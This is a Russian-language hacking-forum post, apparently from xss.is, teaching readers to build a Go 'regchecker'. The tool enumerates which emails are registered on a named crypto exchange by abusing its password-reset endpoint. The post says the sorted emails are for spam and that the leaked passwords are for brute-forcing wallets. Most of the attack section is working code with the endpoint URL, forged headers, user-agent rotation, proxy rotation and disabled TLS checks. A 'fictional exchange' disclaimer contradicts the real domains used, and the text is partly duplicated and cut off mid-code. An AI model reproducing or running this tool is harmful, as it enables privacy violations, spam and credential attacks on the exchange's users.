D2
Администратор
- Регистрация
- 19 Фев 2025
- Сообщения
- 4,380
- Реакции
- 0
Автор: miserylord
Эксклюзивно для форума: xss.is
Трям! Здравствуйте! Меня всё ещё зовут miserylord!
Код, представленный в статье, реализует атаку на уязвимость перебора учетных записей (account enumeration vulnerability). В доменной зоне .su эту уязвимость называют регчекером. Суть атаки заключается в использовании техники брутфорса для проверки, действительно ли пользователь с определенным идентификатором зарегистрирован на сайте.
В статье подробно рассматривается подготовка к атаке, написание кода на языке программирования Golang, а также последующий рефакторинг для масштабирования атаки и переиспользования кода в дальнейшем.
Для лучшего понимания кода рекомендую ознакомиться с предыдущей статьей про брутфорс почтовых ящиков с использованием протокола IMAP, особенно внимательно с главами, посвященными конкурентности, и с комментариями к коду, описывающими особенности работы Golang.
Демонстрация проводится на тестовом стенде одной из вымышленных криптобирж, которая никогда не существовала в реальности. Все совпадения с реальными объектами являются случайными.
Предположим, мы заняты в сфере криптовалют и у нас есть рандомизированная база почт с паролями. Но нас интересуют лишь те, которые имеют отношение к криптовалютной тематике. Возможно, мы хотим использовать пароли в дальнейшей атаке по словарю на незащищённые кошельки. (Тема может быть любой другой: другая ниша, другая страна.) С чего начать?
Внешняя оболочка сайта, весь дизайн, все кнопки по сути инкапсулируют взаимодействие с API. API можно определить как интерфейс для общения машин; во всем внешнем представлении лежит лишь маркетинговый смысл для общения людей. При нажатии абстрактной кнопки Log In отправляется запрос по адресу API, в целом он выглядит точно так же, как и адрес в строке браузера на любом сайте, только работает иначе и называется эндпоинтом. Как правило, он ожидает получить данные в заранее определенном формате, провалидировать их, затем обратиться к базе данных, получить от нее обратную связь и в зависимости от сценария, по которому пошло взаимодействие, отправить ответ. Хотя в целом API может делать что угодно или не делать чего-то из того, что я описал, это лишь абстрактный интерфейс.
Существуют так называемые публичные API — это открытые API с описанной документацией всех возможностей. Но существуют так называемые скрытые API — мы точно не знаем об их существовании, об их ответах, о данных, которые они принимают.
Во время взаимодействия с сайтом браузер отправляет и принимаем запросы по сети к различным адресам. Всю историю взаимодействия с которыми можно увидить открыв панель разработчика и перейдя во вкладку Network. Там подробно изложена история запросов и ответов, в том числе обращения ко всем API.
Запрос состоит из заголовков, которые мы отправляем, заголовков, которые мы принимаем, payload, который мы отправляем, а также тела ответа, которое получаем в итоге. Этих знаний будет достаточно что бы идти дальше.
Во вторых, сайты, как правило, не реализуют модель доброжелательных отношений к своим абьюзерам, и дело не в том, что у машин отсутствует стокгольмский синдром или эмпатия, а в том, что современные сайты использует так называемую облачную модель хостинга с динамическим расширяющимися характеристиками. То есть если к сайту происходит 10 запросов в минуту, плата за сервер составит 10 условных единиц, а если сверху придет десяток тысяч, то плата превратися в 10 плюс десяток тысяч условных единиц.
Для ограничение количества запросов сайты могут использовать капчу, и это вовсе не то, что хорошо со стороны абьюза, поскольку цена за проверку из константной превращается в квадратичную. (каждая разгадка капчи стоит денег)
После всего этого можно начинать.
Выбор ресурса начинается с поиска самых популярных сайтов в нише, в случае криптовалют это криптовалютные биржи. Доступные инструменты - Google, списки, агрегаторы, SimilarWeb, форумы. Проверку посещаемости ресурса можно осуществить на сайте PR-CY. Чем популярнее ресурс, тем лучше он удовлетворяет критерию.
Сайты не хотят раскрывать информацию о зарегистрированных пользователях, но в каких случаях такая информация может быть раскрыта? Какой интерфейс можно использовать для обращения к какому эндпоинту, передавая электронный адрес и получая в ответ результат? Таких участков несколько:
Резюмируя, проходимся по сайтам которые отобрали заранее, анализируем траффик используя панель разработчика в поиске так называемых скрытых API. Нужный запрос будет носить названия типа "check", "login" и содержать в payload переданные данные, в данном случае нас интересуют имейлы. Если в запросе есть капча, то в payload также передается токен капчи (он будет называться типа "recaptcha_token"). Если на сайте есть капча не обезательно что она валидируется, так будет почти всегда, и все же проверять капчу необходимо именно по API а не по фронтенду. Также обращаем внимание на ответ, ответ для зарегистированного имейла на сайте, и для незарегестированого должны явно отличатся.
Спойлер: Атака
Переходим к практике. Задача заключается в том, чтобы отобрать электронные адреса криптовалютной тематики из рандомизированного пула.
Можно предположить, что местом скопления целевой аудитории будут криптовалютные биржи. Следовательно, находим список популярных криптобирж, например, на CoinMarketCap.
По результатам проверки пятидесяти ресурсов, большинство из которых не удовлетворяли критериям, осталось несколько кандидатов, из которых была выбрана биржа weex. Эта биржа входит в топ-50 по популярности и капитализации. Согласно данным PC-RY, она имеет более трех миллионов пользователей в месяц и входит в топ 25 тысяч по популярности сайтов в мире.
На странице восстановления пароля явно раскрывается информация.
Если подставить незарегистрированный электронный адрес, сервер ответит "User not exist" (как на скриншоте). Если же ранее зарегистрированный адрес, то в ответе будут как поле starEmail, так и слово success, по которым можно идентифицировать наличие пользователя на сайте. Помимо прочего, ответ содержит поле phone, что может указывать на частичное или полное раскрытие информации о мобильном телефоне пользователя по электронной почте.
Взглянув на пейлод, может создаться ложное впечатление о наличии капчи на сайте.
JSON: Скопировать в буфер обмена
Но на самом деле это не так. Это просто какая-то рандомная единица, которая передается с запросом. Возможно, капча была там ранее или должна была быть когда-то, но гибкий кабан скрам дал осечку, и про нее уже все забыли. Впрочем, возможно, у этой цифры есть какое-то предназначение, но это в целом не меняет происходящего. Сайт не требует капчу.
Приступаем к написанию кода.
C-подобный: Скопировать в буфер обмена
URL для обращения находится в заголовках, параметр Request URL. Пейлод находится во вкладке Payload, формат пейлода, который отображается в девтузл - JSON (будьте внимательны с типами данных).
Заголовки находятся во вкладке Headers, те, что передаются от нас, называются Request Headers. В коде их меньше, чем в браузере. Изначально можно пробовать все и удалять лишние (без которых запрос проходит), либо от обратного добавлять по несколько и смотреть на результат.
Пару слов про заголовки - Accept передает информацию о клиенте (формат данных, который готовы принять, поддерживаемые методы сжатия, предпочтительные языки). Они обязательны для запроса, так же как и Content-Type, в котором передается информация серверу о формате файла, который будет получен. Language и Locale передают информацию о языке и локации клиента. Origin и Referer указывают на то, с какого сайта и с какой конкретно страницы идет запрос. User-Agent сообщает информацию о браузере и операционной системе. Terminalcode, Terminaltype и Vs - специфические заголовки для этого сайта, вероятно, они как-то идентифицируют устройство. X-Sig передает токен, X-Timestamp - время; если они не валидны, запрос не проходит. Timestamp, вероятно, ограничивает дату валидности токена. Это похоже на JWT токен. Теоретически они также могут ограничивать количество запросов, но с данными параметрами этого не произошло, пока я работал над программой. Очень теоретически X-Sig может учитывать User-Agent при формировании токена (судя по одной из реализаций с GitHub), но здесь этого не происходит.
Я выбросил ряд заголовков, в том числе связанных с безопасностью (Sec); они не являются обязательными в данном запросе. Впрочем, если код, который ранее работал, сломался - первым делом я бы изучал заголовки, в том числе ранее отброшенные.
Первая версия программы готова! Переходим к масштабированию проекта.
Спойлер: Усиление
Для рефакторинга кода будет использоваться вольная интерпретация MVC паттерна. Логика отправки запроса, проверки ответа и контроля количества запросов будет разбита по структуре и функциям и отделена друг от друга.
Создадим несколько папок и файлов в них:
В файле service_helper.go реализуем две функции: getPayload и getHeader. Они будут относиться к пакету service (пакеты будут соответствовать папкам).
C-подобный: Скопировать в буфер обмена
C-подобный: Скопировать в буфер обмена
Для публичных переменных используется верхний регистр первого символа.
В папке tools создадим файл random.go и реализуем функцию генерации случайных чисел:
C-подобный: Скопировать в буфер обмена
Работа над хелпером завершена. Переходим к реализации кода основного сервиса.
Реализуем метод Checker в файле service.go.
C-подобный: Скопировать в буфер обмена
Методы структур — это функции, которые имеют связь с конкретным типом данных (структурой). Рекурсия — это вызов функций от лица её самой.
Перед самой публикацией этой статьи, перечитывая код, я обнаружил ошибку в реализаций, возможно вы уже ее заметили, в случае проблем с сетью функция способна уйти в глубокую рекурсию и в итоге переполнить стек. Избежать этого можно с помощью ограничение на количество вызовов, но это в свою очередь приведет к возможному пропуску аккаунтов (если не учитывать их сохранение в отдельной области). В тоже время горутины это легковсетные потоки, с начальным размером 2 КБ, но с динимачески рассширяющимся размером до 1 ГБ и по определенным рассчетам стек будет переполнен после более чем двух миллионов вызовов в рамках одной горутины (что довольно много). Интересный момент который можно оптимизировать, хотя при нормальной работе такой сценарий маловероятен.
Код для установки транспорта по умолчанию будет переиспользоваться, поэтому имеет смысл вынести его в отдельный метод setDefaultTransport.
C-подобный: Скопировать в буфер обмена
В папке config создадим файл proxy.go. Конфигурация установит тип прокси, ограничит использование значений, позволит обновлять их, а также будет хранить список прокси (которые будут добавляться из текстового файла в другой части кода):
C-подобный: Скопировать в буфер обмена
В Go отсутствует понятие enum, но присутствует уникальная конструкция iota, которая способна генерировать последовательные числа при определении констант. С помощью нее можно организовать подобие enum для строковых литералов, однако это усложнит читаемость кода.
Прокси-сервер может как требовать данные для аутентификации в виде логина и пароля, так и не требовать их. Также, после того как мы получили прокси в виде строки из файла, ее необходимо правильно распарсить. Для этого напишем код в файле proxy_parser.go в папке tools:
C-подобный: Скопировать в буфер обмена
В результате работы функции строка "192.168.1.1:8080:user
ass" будет разбита на срез ["192.168.1.1", "8080", "user", "pass"].
Функцию получения случайного прокси реализуем в ранее созданном файле random.go:
C-подобный: Скопировать в буфер обмена
Ну и наконец, реализуем функцию установки прокси транспорта setProxyTransport в файле service.go:
C-подобный: Скопировать в буфер обмена
Для работы с SOCKS используется библиотека golang.org/x/net/proxy. Дилером называют интерфейс для установки сетевых соединений. SOCKS5 поддерживает аутентификацию по логину и паролю в отличие от SOCKS4.
Приступаем к финальной части кода. Реализуем функцию emailVerification в service.go, которая будет работать с ответом и проверять валидность электронной почты.
C-подобный: Скопировать в буфер обмена
Перейдем в папку tools и напишем функции для работы с файлами в file.go. Начнем с функции сохранения успешных электронных адресов в файл.
C-подобный: Скопировать в буфер обмена
Функцию для открытия файла вынесем отдельно.
C-подобный: Скопировать в буфер обмена
И тут же напишем код для функции, которая будет считывать прокси из файла и помещать их в переменную в конфиг-файле.
C-подобный: Скопировать в буфер обмена
Все готово к сборке в единое целое в main.go файле.
C-подобный: Скопировать в буфер обмена
Рефакторинг кода полностью завершен!
Написание программы, которая реализует атаку на уязвимость перебора учетных записей, завершено. По примеру кода можно реализовать атаку на другие сайты, внеся небольшие изменения. Важно сказать, что данные в примерах и в исходных файлах заменены на моки (речь идет про заголовки).
Буду прощаться и возвращаться в тилимилитрямдию!
Эксклюзивно для форума: xss.is
Трям! Здравствуйте! Меня всё ещё зовут miserylord!
Код, представленный в статье, реализует атаку на уязвимость перебора учетных записей (account enumeration vulnerability). В доменной зоне .su эту уязвимость называют регчекером. Суть атаки заключается в использовании техники брутфорса для проверки, действительно ли пользователь с определенным идентификатором зарегистрирован на сайте.
В статье подробно рассматривается подготовка к атаке, написание кода на языке программирования Golang, а также последующий рефакторинг для масштабирования атаки и переиспользования кода в дальнейшем.
Для лучшего понимания кода рекомендую ознакомиться с предыдущей статьей про брутфорс почтовых ящиков с использованием протокола IMAP, особенно внимательно с главами, посвященными конкурентности, и с комментариями к коду, описывающими особенности работы Golang.
Демонстрация проводится на тестовом стенде одной из вымышленных криптобирж, которая никогда не существовала в реальности. Все совпадения с реальными объектами являются случайными.
Разделы
- Пролог — постановка задачи, рассуждение о бизнес-ценности, техническое введение в устройство сайтов, алгоритм отбора.
- Атака — практический пример, подготовка к атаке, реализация первой версии программы в качестве доказательства концепции.
- Усиление — реализация второй версии программы с изменённой структурой, полный рефакторинг, добавление возможности работы с использованием проксей, ускорение работы за счёт горутин.
Почему?
Бизнес-ценность атаки состоит в отсеивании необходимых почтовых адресов из рандомизированного пула с целью повышения эффективности работы. Примером может быть спам-рассылка только определённой целевой аудитории, полученной после отсева. Если же база данных содержит пароли, они могут быть использованы для последующей брутфорс-атаки на другие ресурсы.Предположим, мы заняты в сфере криптовалют и у нас есть рандомизированная база почт с паролями. Но нас интересуют лишь те, которые имеют отношение к криптовалютной тематике. Возможно, мы хотим использовать пароли в дальнейшей атаке по словарю на незащищённые кошельки. (Тема может быть любой другой: другая ниша, другая страна.) С чего начать?
Веб сайты под капотом
Начнем с небольшого необходимого упрощеного теоритического введения.
Внешняя оболочка сайта, весь дизайн, все кнопки по сути инкапсулируют взаимодействие с API. API можно определить как интерфейс для общения машин; во всем внешнем представлении лежит лишь маркетинговый смысл для общения людей. При нажатии абстрактной кнопки Log In отправляется запрос по адресу API, в целом он выглядит точно так же, как и адрес в строке браузера на любом сайте, только работает иначе и называется эндпоинтом. Как правило, он ожидает получить данные в заранее определенном формате, провалидировать их, затем обратиться к базе данных, получить от нее обратную связь и в зависимости от сценария, по которому пошло взаимодействие, отправить ответ. Хотя в целом API может делать что угодно или не делать чего-то из того, что я описал, это лишь абстрактный интерфейс.
Существуют так называемые публичные API — это открытые API с описанной документацией всех возможностей. Но существуют так называемые скрытые API — мы точно не знаем об их существовании, об их ответах, о данных, которые они принимают.
Во время взаимодействия с сайтом браузер отправляет и принимаем запросы по сети к различным адресам. Всю историю взаимодействия с которыми можно увидить открыв панель разработчика и перейдя во вкладку Network. Там подробно изложена история запросов и ответов, в том числе обращения ко всем API.
Запрос состоит из заголовков, которые мы отправляем, заголовков, которые мы принимаем, payload, который мы отправляем, а также тела ответа, которое получаем в итоге. Этих знаний будет достаточно что бы идти дальше.
Психология веб сайтов
Во первых, сайты, как правило, предпочитают не раскрывать информацию о пользователях, на них отсудствует прямая возможность спросить, зарегистирован ли пользователь с имейлом икс или же нет. Хотя из этого правила есть исключения. Насколько я помню, GitHub позволяет без ограничений получить информацию по юзернейму, так что если стоит задача получить базу программистов, то это может быть полезно. В любом случае могут быть такие участки, которые косвенно раскроют такую информацию.
Во вторых, сайты, как правило, не реализуют модель доброжелательных отношений к своим абьюзерам, и дело не в том, что у машин отсутствует стокгольмский синдром или эмпатия, а в том, что современные сайты использует так называемую облачную модель хостинга с динамическим расширяющимися характеристиками. То есть если к сайту происходит 10 запросов в минуту, плата за сервер составит 10 условных единиц, а если сверху придет десяток тысяч, то плата превратися в 10 плюс десяток тысяч условных единиц.
Для ограничение количества запросов сайты могут использовать капчу, и это вовсе не то, что хорошо со стороны абьюза, поскольку цена за проверку из константной превращается в квадратичную. (каждая разгадка капчи стоит денег)
После всего этого можно начинать.
Отбор кандидатов
Выбор ресурса начинается с поиска самых популярных сайтов в нише, в случае криптовалют это криптовалютные биржи. Доступные инструменты - Google, списки, агрегаторы, SimilarWeb, форумы. Проверку посещаемости ресурса можно осуществить на сайте PR-CY. Чем популярнее ресурс, тем лучше он удовлетворяет критерию.
Сайты не хотят раскрывать информацию о зарегистрированных пользователях, но в каких случаях такая информация может быть раскрыта? Какой интерфейс можно использовать для обращения к какому эндпоинту, передавая электронный адрес и получая в ответ результат? Таких участков несколько:
- Вход в аккаунт пользователя, в котором сперва вводится имейл, а после его проверки — пароль (идеально, но такое мало где встречается).
- Вход в аккаунт с паролем, в ответе на который API явно раскрывает причину неудачного входа, уточняя, что именно неправильно — имейл или пароль. Различаться могут не только сообщения, но и код в ответе или даже статус запроса.
- Регистрация (скорее всего, мы просто зарегистрируемся, это не то, что нужно, и все же можно проверить).
- Восстановление пароля - во многих случаях проверяет имейл перед тем, как отправить код (кстати говоря не в большинстве, часто просто отправляет письмо или не расскрывает информаций). Из плюсов — капча может отсутствовать даже если присутствует на странице входа. Из минусов — пользователю придет письмо про восстановление пароля, так что этот способ не подходит, если вы хотите ускорить брутфорс на сайте с капчей через предварительную проверку электронной почты.
- Дополнительно можно прогнать API программами типа Gobuster на поиск самых возможных вариантов и угадать, что они принимают, но не факт что такой эндпоинт вообще существует и скорее всего он не будет обнаружен.
Резюмируя, проходимся по сайтам которые отобрали заранее, анализируем траффик используя панель разработчика в поиске так называемых скрытых API. Нужный запрос будет носить названия типа "check", "login" и содержать в payload переданные данные, в данном случае нас интересуют имейлы. Если в запросе есть капча, то в payload также передается токен капчи (он будет называться типа "recaptcha_token"). Если на сайте есть капча не обезательно что она валидируется, так будет почти всегда, и все же проверять капчу необходимо именно по API а не по фронтенду. Также обращаем внимание на ответ, ответ для зарегистированного имейла на сайте, и для незарегестированого должны явно отличатся.
Спойлер: Атака
Отбор кандидата
Переходим к практике. Задача заключается в том, чтобы отобрать электронные адреса криптовалютной тематики из рандомизированного пула.
Можно предположить, что местом скопления целевой аудитории будут криптовалютные биржи. Следовательно, находим список популярных криптобирж, например, на CoinMarketCap.
По результатам проверки пятидесяти ресурсов, большинство из которых не удовлетворяли критериям, осталось несколько кандидатов, из которых была выбрана биржа weex. Эта биржа входит в топ-50 по популярности и капитализации. Согласно данным PC-RY, она имеет более трех миллионов пользователей в месяц и входит в топ 25 тысяч по популярности сайтов в мире.
На странице восстановления пароля явно раскрывается информация.
Если подставить незарегистрированный электронный адрес, сервер ответит "User not exist" (как на скриншоте). Если же ранее зарегистрированный адрес, то в ответе будут как поле starEmail, так и слово success, по которым можно идентифицировать наличие пользователя на сайте. Помимо прочего, ответ содержит поле phone, что может указывать на частичное или полное раскрытие информации о мобильном телефоне пользователя по электронной почте.
Взглянув на пейлод, может создаться ложное впечатление о наличии капчи на сайте.
JSON: Скопировать в буфер обмена
{loginName: "lioncat3@gmail.com", captchaValidate: "", captchaType: 1, languageType: 0}
Но на самом деле это не так. Это просто какая-то рандомная единица, которая передается с запросом. Возможно, капча была там ранее или должна была быть когда-то, но гибкий кабан скрам дал осечку, и про нее уже все забыли. Впрочем, возможно, у этой цифры есть какое-то предназначение, но это в целом не меняет происходящего. Сайт не требует капчу.
Приступаем к написанию кода.
Первая версия программы
C-подобный: Скопировать в буфер обмена
Код:
package main
import (
"bytes"
"encoding/json"
"fmt"
"io"
"net/http"
)
func main() {
// 1
url := "https://gateway1.weex.com/v1/user/forget-pwd/confirm"
// 2
payload := map[string]interface{}{
"captchaType": 1,
"captchaValidate": "",
"languageType": 0,
"loginName": "gmail@gmail.com",
}
// 3
jsonData, err := json.Marshal(payload)
if err != nil {
fmt.Println("Error marshalling JSON:", err)
return
}
// 4
req, err := http.NewRequest("POST", url, bytes.NewBuffer(jsonData))
if err != nil {
fmt.Println("Error creating request:", err)
return
}
// 5
req.Header.Set("Accept", "application/json, text/plain, */*")
req.Header.Set("Accept-Encoding", "gzip, deflate, br, zstd")
req.Header.Set("Accept-Language", "en-US,en;q=0.9")
req.Header.Set("Content-Type", "application/json;charset=UTF-8")
req.Header.Set("Language", "en_US")
req.Header.Set("Locale", "en_US")
req.Header.Set("Origin", "https://www.weex.com")
req.Header.Set("Referer", "https://www.weex.com/")
req.Header.Set("Terminalcode", "85412841dhdjs325211224nfksb8613d")
req.Header.Set("Terminaltype", "1")
req.Header.Set("User-Agent", "Mozilla/5.0 (X11; CrOS i686 4319.74.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.57 Safari/537.36")
req.Header.Set("Vs", "77gecyt2TLaHTQk1739LFNB108mxx189")
req.Header.Set("X-Sig", "bki17317747117c78194718d99177dk9")
req.Header.Set("X-Timestamp", "8713174713737")
// 6
client := &http.Client{}
resp, err := client.Do(req)
if err != nil {
fmt.Println("Error making request:", err)
return
}
defer resp.Body.Close()
// 7
body, err := io.ReadAll(resp.Body)
if err != nil {
fmt.Println("Error reading response body:", err)
return
}
// 8
fmt.Println("Response Status:", resp.Status)
fmt.Println("Response Body:", string(body))
}
- Указываем URL для запроса.
- Формируем пейлод, используя map, ключи представлены в виде строк, для значений используем пустой интерфейс, что позволяет передать любой тип.
- Преобразовываем карту в JSON-формат.
- Создаем HTTP POST запрос с ранее указанным URL и закодированным JSON.
- Устанавливаем заголовки запроса с заданными значениями.
- Создаем HTTP клиент и выполняем запрос.
- Читаем тело ответа.
- Логируем результат для ручной проверки кода (тело и статус-код).
URL для обращения находится в заголовках, параметр Request URL. Пейлод находится во вкладке Payload, формат пейлода, который отображается в девтузл - JSON (будьте внимательны с типами данных).
Заголовки находятся во вкладке Headers, те, что передаются от нас, называются Request Headers. В коде их меньше, чем в браузере. Изначально можно пробовать все и удалять лишние (без которых запрос проходит), либо от обратного добавлять по несколько и смотреть на результат.
Пару слов про заголовки - Accept передает информацию о клиенте (формат данных, который готовы принять, поддерживаемые методы сжатия, предпочтительные языки). Они обязательны для запроса, так же как и Content-Type, в котором передается информация серверу о формате файла, который будет получен. Language и Locale передают информацию о языке и локации клиента. Origin и Referer указывают на то, с какого сайта и с какой конкретно страницы идет запрос. User-Agent сообщает информацию о браузере и операционной системе. Terminalcode, Terminaltype и Vs - специфические заголовки для этого сайта, вероятно, они как-то идентифицируют устройство. X-Sig передает токен, X-Timestamp - время; если они не валидны, запрос не проходит. Timestamp, вероятно, ограничивает дату валидности токена. Это похоже на JWT токен. Теоретически они также могут ограничивать количество запросов, но с данными параметрами этого не произошло, пока я работал над программой. Очень теоретически X-Sig может учитывать User-Agent при формировании токена (судя по одной из реализаций с GitHub), но здесь этого не происходит.
Я выбросил ряд заголовков, в том числе связанных с безопасностью (Sec); они не являются обязательными в данном запросе. Впрочем, если код, который ранее работал, сломался - первым делом я бы изучал заголовки, в том числе ранее отброшенные.
Первая версия программы готова! Переходим к масштабированию проекта.
Спойлер: Усиление
Проектирование
Для рефакторинга кода будет использоваться вольная интерпретация MVC паттерна. Логика отправки запроса, проверки ответа и контроля количества запросов будет разбита по структуре и функциям и отделена друг от друга.
Создадим несколько папок и файлов в них:
- Папка service с файлами service.go и service_helper.go — в этой части будет происходить основное действие: отправка запроса, обработка ответа, установка прокси.
- Папка config с файлами ua.go и proxy.go — для конфигураций типа прокси и юзер агентов.
- Все текстовые файлы будут находиться в папке files.
- Папка tools для дополнительных функций, file.go для работы с файлами, proxy_parser.go для функций формирования прокси из строки, random.go для случайных событий.
- main.go будет регулировать количество горутин и запускать программу.
service_helper.go
В файле service_helper.go реализуем две функции: getPayload и getHeader. Они будут относиться к пакету service (пакеты будут соответствовать папкам).
C-подобный: Скопировать в буфер обмена
Код:
package service
import (
"encoding/json"
"fmt"
"net/http"
"regchek/config"
"regchek/tools"
)
// 1
func (s *Service) getPayload(email string) ([]byte, error) {
payload := map[string]interface{}{
"captchaType": 1,
"captchaValidate": "",
"languageType": 0,
"loginName": email,
}
// 2
jsonData, err := json.Marshal(payload)
if err != nil {
return nil, fmt.Errorf("error marshalling JSON: %w", err)
}
return jsonData, nil
}
// 3
func (s *Service) getHeader(req *http.Request, goRoutineID int) {
req.Header = http.Header{
"Accept": {"application/json, text/plain, */*"},
"Accept-Encoding": {"gzip, deflate, br, zstd"},
"Accept-Language": {"en-US,en;q=0.9"},
"Content-Type": {"application/json;charset=UTF-8"},
"Language": {"en_US"},
"Locale": {"en_US"},
"Origin": {"https://www.weex.com"},
"Referer": {"https://www.weex.com/"},
"Terminalcode": {"85412841dhdjs325211224nfksb8613d"},
"Terminaltype": {"1"},
// 4
"User-Agent": {config.UserAgents[tools.GenerateRandomNubmer(goRoutineID, len(config.UserAgents)-1)]},
"Vs": {"77gecyt2TLaHTQk1739LFNB108mxx189"},
"X-Sig": {"bki17317747117c78194718d99177dk9"},
"X-Timestamp": {"8713174713737"},
}
}
- 1.Функция getPayload принимает в качестве аргумента строку email.
- В остальном код остается прежним: формируем map, преобразуем его в JSON, обрабатываем ошибку и возвращаем JSON в виде байтового среза.
- Функция getHeader принимает указатель на HTTP-запрос и идентификатор горутины.
- User-Agent задаются в файле конфигурации. Для случайного выбора одного из списка используется функция GenerateRandomNumber. В качестве источника случайности будет использоваться номер горутины; по этой причине мы передаем номер горутины в функцию. Также функция принимает размер конфигурации (количество доступных строк), чтобы случайный индекс был в пределах их количества.
C-подобный: Скопировать в буфер обмена
Код:
package config
// 1
var UserAgents = []string{
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.62 Safari/537.36",
"Mozilla/5.0 (X11; CrOS i686 4319.74.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.57 Safari/537.36",
"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.0 Safari/532.2",
"Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.198.0 Safari/532.0",
"Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.27 Safari/532.0",
"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.7 (KHTML, like Gecko) Chrome/2.0.176.0 Safari/530.7",
"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.173.0 Safari/530.5",
"Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.43 Safari/530.5",
}
- Создадим переменную UserAgents со срезом строк User-Agent.
Для публичных переменных используется верхний регистр первого символа.
В папке tools создадим файл random.go и реализуем функцию генерации случайных чисел:
C-подобный: Скопировать в буфер обмена
Код:
package tools
import (
"math/rand"
"regchek/config"
"strings"
"time"
)
// 1
func GenerateRandomNubmer(goRoutineID int, max int) int {
// 2
s := rand.NewSource(time.Now().Unix() + int64(goRoutineID))
// 3
r := rand.New(s)
// 4
return r.Intn(max)
}
- В качестве аргументов передаем идентификатор горутины и верхнюю границу диапазона случайных чисел. Возвращаемое значение — случайное число в диапазоне от 0 до max-1.
- Для работы с рандомом используем текущее Unix-время. Добавление goRoutineID к Unix-времени обеспечивает дополнительную уникальность, особенно в конкурентном коде.
- Генерируем псевдослучайное число.
- Возвращаем число.
Работа над хелпером завершена. Переходим к реализации кода основного сервиса.
Checker (service.go)
Реализуем метод Checker в файле service.go.
C-подобный: Скопировать в буфер обмена
Код:
package service
import (
"bytes"
"crypto/tls"
"fmt"
"io"
"log"
"net"
"net/http"
"net/url"
"regchek/config"
"regchek/tools"
"strings"
"time"
"golang.org/x/net/proxy"
)
// 1
type Service struct {
URL string
}
// 2
func (s *Service) Checker(email string, proxy string, goRoutineID int) {
// 3
transport := s.setDefaultTransport()
// 4
if config.ProxyType != "none" {
proxyInfo, err := tools.ProxyParser(proxy)
if err != nil {
log.Println("Error:", err)
} else {
transport = s.setProxyTransport(proxyInfo)
}
}
// 5
client := &http.Client{
Timeout: time.Second * 10,
Transport: transport,
}
// 6
finalURL := s.URL
// 7
payload, err := s.getPayload(email)
if err != nil {
log.Fatal("Something is wrong with the formation of payload, critical error, the program has stopped", err)
}
// 8
req, err := http.NewRequest("POST", finalURL, bytes.NewBuffer(payload))
if err != nil {
log.Fatal("Something is wrong with creating of request, critical error, the program has stopped", err)
}
// 9
s.getHeader(req, goRoutineID)
// 10
resp, err := client.Do(req)
if err != nil {
log.Printf("Error doing request: %v", err)
s.Checker(email, tools.GetRandomProxy(goRoutineID), goRoutineID)
return
}
// 11
defer resp.Body.Close()
// 12
body, err := io.ReadAll(resp.Body)
if err != nil {
log.Printf("Error reading body: %v", err)
s.Checker(email, tools.GetRandomProxy(goRoutineID), goRoutineID)
return
}
// 13
err = s.emailVerification(string(body), email)
if err != nil {
s.Checker(email, tools.GetRandomProxy(goRoutineID), goRoutineID)
return
} else {
return
}
}
- Определяем структуру Service, которая будет принимать URL.
- Метод Checker структуры Service принимает три параметра: email, proxy, goRoutineID.
- Создаем транспорт с помощью метода setDefaultTransport.
- Проверяем конфиг, в котором будет храниться информация о типе прокси. Если конфиг содержит такую информацию и прокси используется, вызываем ProxyParser для разбора информации о прокси. Если все прошло успешно, меняем транспорт с помощью метода setProxyTransport, устанавливая прокси.
- Создаем HTTP-клиент как в первой версии кода, добавляем транспорт (либо прокси, либо без него) и устанавливаем таймаут в 10 секунд.
- Получаем ссылку из структуры.
- Вызываем ранее написанный метод getPayload, передавая email. Если что-то пошло не так, вызываем log.Fatal, выводя лог и останавливая выполнение программы.
- Создаем POST-запрос и также обрабатываем ошибку с помощью log.Fatal.
- Устанавливаем заголовки с помощью ранее написанного метода getHeader.
- Выполняем запрос. Если произошла ошибка, логируем её и рекурсивно вызываем метод Checker, но уже с новой проксией.
- Освобождаем ресурсы после завершения работы с ответом.
- Читаем тело ответа. Если произошла ошибка, логируем её и рекурсивно вызываем метод Checker, но уже с новой проксией.
- Проверяем, зарегистрирован ли email на сайте с помощью вынесенного в отдельный метод emailVerification. Если произошла ошибка, логируем её и рекурсивно вызываем метод Checker, но уже с новой проксией.
Методы структур — это функции, которые имеют связь с конкретным типом данных (структурой). Рекурсия — это вызов функций от лица её самой.
Перед самой публикацией этой статьи, перечитывая код, я обнаружил ошибку в реализаций, возможно вы уже ее заметили, в случае проблем с сетью функция способна уйти в глубокую рекурсию и в итоге переполнить стек. Избежать этого можно с помощью ограничение на количество вызовов, но это в свою очередь приведет к возможному пропуску аккаунтов (если не учитывать их сохранение в отдельной области). В тоже время горутины это легковсетные потоки, с начальным размером 2 КБ, но с динимачески рассширяющимся размером до 1 ГБ и по определенным рассчетам стек будет переполнен после более чем двух миллионов вызовов в рамках одной горутины (что довольно много). Интересный момент который можно оптимизировать, хотя при нормальной работе такой сценарий маловероятен.
Код для установки транспорта по умолчанию будет переиспользоваться, поэтому имеет смысл вынести его в отдельный метод setDefaultTransport.
C-подобный: Скопировать в буфер обмена
Код:
func (s *Service) setDefaultTransport() *http.Transport {
// 1
return &http.Transport{
// 2
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
}
}
- Создаем и возвращаем указатель на новый экземпляр http.Transport, с TLS-клиентом внутри.
- Задаем конфигурацию TLS, пропуская проверку сертификата сервера.
Добавляем прокси
В папке config создадим файл proxy.go. Конфигурация установит тип прокси, ограничит использование значений, позволит обновлять их, а также будет хранить список прокси (которые будут добавляться из текстового файла в другой части кода):
C-подобный: Скопировать в буфер обмена
Код:
package config
import "errors"
// 1
type ProxyTypeEnum string
// 2
const (
HTTPS ProxyTypeEnum = "https"
SOCKS4 ProxyTypeEnum = "socks4"
